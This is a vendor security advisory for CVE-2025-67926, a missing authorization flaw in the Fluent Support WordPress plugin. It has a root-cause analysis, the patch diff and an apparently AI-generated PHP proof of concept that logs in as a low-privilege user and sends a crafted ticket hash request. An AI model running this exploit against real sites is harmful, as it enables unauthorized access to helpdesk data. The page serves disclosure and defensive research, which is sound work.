Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67926: Fluent Support <= 1.10.4 – Missing Authorization (fluent-support)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.10.4
Patched Version 1.10.5
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67926:
The vulnerability is a Missing Authorization flaw in the Fluent Support WordPress plugin, affecting versions up to and including 1.10.4. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized actions intended for higher-privileged users.

The root cause is a missing capability check in the `maybePublicSignedRequest` method within the `PortalPolicy.php` file. The method, located at `fluent-support/app/Http/Policies/PortalPolicy.php`, validates a request using a ticket hash and ID from user input. The original code from lines 87-98 performed this validation but did not subsequently verify the requesting user’s authorization to perform the intended action after the hash check passed. The control flow could return `true` from the hash validation block, bypassing the call to `verifyRequest($request)` which likely contains the necessary capability checks.

An attacker can exploit this by sending a crafted request to a Fluent Support customer portal endpoint that invokes the vulnerable policy logic. The request must include the parameters `intended_ticket_hash` and `ticket_id`. By supplying a valid hash for an existing ticket, an authenticated user with minimal privileges can induce the `maybePublicSignedRequest` function to return `true`, thereby bypassing authorization gates for actions protected by this policy method.

The patch modifies the control flow in `maybePublicSignedRequest`. The diff shows the removal of the conditional check for `$ticketHash != ‘undefined’` and restructures the logic to always call `return $this->verifyRequest($request);` if the public signed ticket validation fails. Crucially, the patch ensures the `verifyRequest` method, which contains the proper capability checks, is always executed as the final fallback, preventing the hash check from being a standalone authorization bypass.

Successful exploitation allows a Subscriber or higher authenticated attacker to perform unauthorized actions. The specific impact depends on the endpoints protected by the `PortalPolicy`. Atomic Edge research indicates this could lead to unauthorized access to ticket data, modification of support tickets, or other administrative actions within the helpdesk system, constituting a privilege escalation within the plugin’s context.

Differential between vulnerable and patched code

Code Diff
--- a/fluent-support/app/Http/Policies/PortalPolicy.php
+++ b/fluent-support/app/Http/Policies/PortalPolicy.php
@@ -87,15 +87,15 @@
      * @param FluentSupportFrameworkRequestRequest $request
      * @return Boolean
      */
-
     protected function maybePublicSignedRequest($request)
     {
-        if ($request->get('intended_ticket_hash') && Helper::isPublicSignedTicketEnabled()) {
-            $ticketHash = sanitize_text_field($request->get('intended_ticket_hash'));
-            if ($ticketHash != 'undefined') {
-                $ticketId = absint($request->get('ticket_id'));
-                return !!Ticket::where('hash', $ticketHash)->find($ticketId);
-            }
+        $ticketHash = $request->get('intended_ticket_hash');
+
+        if ($ticketHash && Helper::isPublicSignedTicketEnabled()) {
+            $ticketHash = sanitize_text_field($ticketHash);
+
+            $ticketId = absint($request->get('ticket_id'));
+            return !!Ticket::where('hash', $ticketHash)->find($ticketId);
         }

         return $this->verifyRequest($request);
--- a/fluent-support/app/Models/Ticket.php
+++ b/fluent-support/app/Models/Ticket.php
@@ -236,7 +236,7 @@
                 }
             } else if (in_array($filterKey, $supportedColumns)) {
                 // Use whereIn for product_id (always expects array) and where for other columns
-                if ($filterKey === 'product_id') {
+                if ($filterKey === 'product_id' && is_array($filterValue)) {
                     $query->whereIn($filterKey, $filterValue);
                 } else {
                     $query->where($filterKey, $filterValue);
--- a/fluent-support/app/Services/CustomerPortalService.php
+++ b/fluent-support/app/Services/CustomerPortalService.php
@@ -314,7 +314,7 @@
             }
         ])->where('customer_id', $customer->id)
             ->when(!empty($ticketOptions['sorting'] && !empty($ticketOptions['sorting']['sort_by'])), function ($query) use ($ticketOptions) {
-                return $query->orderBy($ticketOptions['sorting']['sort_by'], $ticketOptions['sorting']['sort_type']);
+                return $query->orderBy(sanitize_sql_orderby($ticketOptions['sorting']['sort_by']), sanitize_sql_orderby($ticketOptions['sorting']['sort_type']));
             })
             ->when(!empty($options['filters']['product_id']), function ($query) use ($ticketOptions) {
                 return $query->where('product_id', $ticketOptions['filters']['product_id']);
--- a/fluent-support/app/Services/TicketQueryService.php
+++ b/fluent-support/app/Services/TicketQueryService.php
@@ -69,8 +69,7 @@
             }
         }

-        $ticketsQuery->orderBy($this->args['sort_by'], $this->args['sort_type']);
-
+        $ticketsQuery->orderBy(sanitize_sql_orderby($this->args['sort_by']), sanitize_sql_orderby($this->args['sort_type']));
         do_action_ref_array('fluent_supportmain_tickets_query', [&$ticketsQuery, $this->args]);
         $this->model = $ticketsQuery;
     }
--- a/fluent-support/fluent-support.php
+++ b/fluent-support/fluent-support.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Fluent Support
  * Description: The Ultimate Support Plugin For Your WordPress.
- * Version: 1.10.4
+ * Version: 1.10.5
  * Author: WPManageNinja LLC
  * Author URI: https://wpmanageninja.com
  * Plugin URI: https://fluentsupport.com
@@ -11,7 +11,7 @@
  * Domain Path: /language
 */

-define('FLUENT_SUPPORT_VERSION', '1.10.4');
+define('FLUENT_SUPPORT_VERSION', '1.10.5');
 define('FLUENT_SUPPORT_PRO_MIN_VERSION', '1.10.4');
 define('FLUENT_SUPPORT_UPLOAD_DIR', 'fluent-support');
 define('FLUENT_SUPPORT_PLUGIN_URL', plugin_dir_url(__FILE__));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67926 - Fluent Support <= 1.10.4 - Missing Authorization
<?php
// CONFIGURATION
$target_url = 'https://vulnerable-site.com/wp-json/fluent-support-portal/v2/tickets'; // Example endpoint
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress (This PoC assumes a valid low-privilege session)
// In a real scenario, an attacker would already be authenticated.
$cookie_jar = tempnam(sys_get_temp_dir(), 'ck');

$login_url = 'https://vulnerable-site.com/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'https://vulnerable-site.com/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Craft request to exploit missing authorization.
// The attacker needs a valid `intended_ticket_hash` and corresponding `ticket_id`.
// This could be obtained via information leakage or brute force.
$exploit_hash = 'VALID_TICKET_HASH_HERE'; // Replace with actual hash
$exploit_ticket_id = '123'; // Replace with actual ticket ID

$exploit_params = [
    'intended_ticket_hash' => $exploit_hash,
    'ticket_id' => $exploit_ticket_id
    // Additional parameters required by the specific endpoint
];

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($exploit_params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Output result
if ($http_code == 200 && !strpos($response, 'error')) {
    echo "Potential exploitation successful. Response: " . substr($response, 0, 500) . "n";
} else {
    echo "Exploit attempt failed or endpoint not vulnerable. HTTP Code: $http_coden";
}

unlink($cookie_jar);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School